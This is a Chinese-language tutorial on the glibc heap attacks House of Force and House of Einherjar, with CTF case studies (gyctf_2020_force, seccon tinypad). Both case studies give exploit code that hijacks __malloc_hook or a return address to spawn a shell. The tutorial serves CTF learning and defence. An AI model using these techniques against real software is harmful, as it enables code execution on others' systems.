针对top chunk的一些特殊攻击手法
字数 1729 2025-08-05 08:35:55
针对Top Chunk的特殊攻击手法教学文档
1. House of Force攻击技术
1.1 基本概念
House of Force是一种利用top chunk分配机制的漏洞攻击技术,通过篡改top chunk的size字段来实现任意地址分配内存的目的。
1.2 技术原理
-
top chunk分割机制:
- 当申请内存时,如果top chunk的size足够大,会从top chunk中分割出所需大小的内存块
- 关键代码逻辑:
victim = av->top; // 获取top chunk地址 size = chunksize(victim); // 获取top chunk size if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb; // 计算剩余size remainder = chunk_at_offset(victim, nb); av->top = remainder; // 修改top chunk指针 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); return chunk2mem(victim); }
-
利用方法:
- 通过堆溢出等手段将top chunk的size字段篡改为极大值(如-1或0xffffffffffffffff)
- 由于size检查使用unsigned long类型,而后续扩展使用int类型,可以绕过检查
- 计算目标地址与当前top chunk的偏移,通过精心构造的分配请求将top chunk移动到目标位置
1.3 利用条件
- 能够篡改top chunk的size字段(改为负数或极大值)
- 可以申请任意大小的堆内存(包括负数)
- 目标libc版本为2.23或更低
1.4 不同libc版本的差异
-
libc-2.23:
- 直接检查top chunk size后进行分割
- 完全支持House of Force攻击
-
libc-2.27:
- 增加了内存范围检查(
do_check_chunk函数) - 设置了min_address和max_address限制
- 由于范围检查,House of Force攻击失效
- 增加了内存范围检查(
1.5 实例分析:gyctf_2020_force
-
漏洞点:
- 程序可以申请任意大小的堆块
- 写入内容时存在堆溢出漏洞
-
利用步骤:
- 使用mmap分配大内存(0x200000)泄露libc基址
- 申请小堆块并溢出修改top chunk size为极大值
- 计算目标地址(如malloc_hook)与top chunk的偏移
- 通过两次分配将top chunk移动到目标位置
- 再次分配并写入system地址
- 触发shell
-
关键代码:
# 泄露libc基址 libc_base = add(0x200000, 'aaaa') + 0x200ff0 # 修改top chunk size top_chunk_addr = add(0x10, 'a'*0x10 + b'/bin/sh\x00' + p64(0xffffffffffffffff)) + 0x10 # 计算偏移并移动top chunk malloc_hook = libc.sym['__malloc_hook'] + libc_base offset = (malloc_hook - 0x20) - top_chunk_addr add(offset, 'kkk') add(0x10, p64(system)) # 触发system('/bin/sh') p.sendlineafter("size\n", str(top_chunk_addr))
2. House of Einherjar攻击技术
2.1 基本概念
House of Einherjar是一种利用堆块后向合并机制的漏洞攻击技术,通过伪造fake chunk来控制top chunk的位置。
2.2 技术原理
-
后向合并机制:
- 当释放一个堆块时,如果前一个堆块未被使用(PREV_INUSE=0),会进行后向合并
- 关键代码逻辑(libc-2.23):
if (!(hd & PREV_INUSE)) { // 检查前一个堆块是否空闲 prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); // 合并到前一个堆块 sz += prevsz; if (p->fd == last_remainder(ar_ptr)) islr = 1; else unlink(p, bck, fwd); // 执行unlink操作 }
-
利用方法:
- 构造fake chunk,使其size与目标堆块的prev_size匹配
- 通过溢出等方式修改目标堆块的prev_size和PREV_INUSE位
- 触发后向合并,使堆管理器将fake chunk视为合法堆块
- 最终控制top chunk的位置
2.3 利用条件
- 能够控制目标堆块的prev_size和PREV_INUSE位
- 能够构造fake chunk并确保其size和fd/bk指针合法
- 能够触发堆块释放操作
2.4 实例分析:2016_seccon_tinypad
-
漏洞点:
- 存在off-by-null漏洞(读入数据时末尾置零)
- 存在UAF漏洞(释放后指针未清零)
- 编辑功能可以控制大块内存区域
-
利用步骤:
- 分配多个堆块并释放部分,利用UAF泄露堆地址和libc基址
- 计算fake chunk与目标堆块的偏移
- 利用编辑功能构造fake chunk并修改prev_size
- 触发后向合并控制top chunk
- 利用environ变量泄露栈地址
- 覆盖返回地址获取shell
-
关键代码:
# 泄露堆地址和libc基址 add(0xe0, "A"*0xe0) add(0xf0, "B"*0xf0) add(0x100, "C"*0x100) add(0x100, "D"*0x100) delete(3) delete(1) # 计算偏移并构造fake chunk chunk_list_addr = 0x602040 chunk2_addr = heap_addr + 0xf0 offset = chunk2_addr - chunk_list_addr add(0xe8, "g"*(0xe8-0x8) + p64(offset)) # 触发后向合并 delete(4) pl = p64(0x100) + p64(offset) + p64(chunk_list_addr)*4 edit(2, pl) delete(2) # 利用environ泄露栈地址 gadget = [0x45226,0x4527a,0xf03a4,0xf1247] gadget_addr = libc_base + gadget[3] payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"]) payload += p64(0xe8) + p64(0x602148) add(0xe0, "t"*0xe0) add(0x100, payload) # 覆盖返回地址 edit(2, p64(stack_env-240)) edit(1, p64(gadget_addr))
3. 防御措施
- 及时更新libc版本(>=2.27)
- 加强堆块分配和释放的边界检查
- 对敏感指针进行有效性验证
- 使用安全编译选项(如FORTIFY_SOURCE)
- 实现堆内存布局随机化
4. 总结
House of Force和House of Einherjar都是利用堆管理器中top chunk处理机制的漏洞进行攻击的技术。理解这些攻击手法不仅有助于漏洞利用,也能帮助我们更好地设计防御措施。在实际应用中,应当特别注意不同libc版本间的行为差异,并根据目标环境选择合适的攻击方法。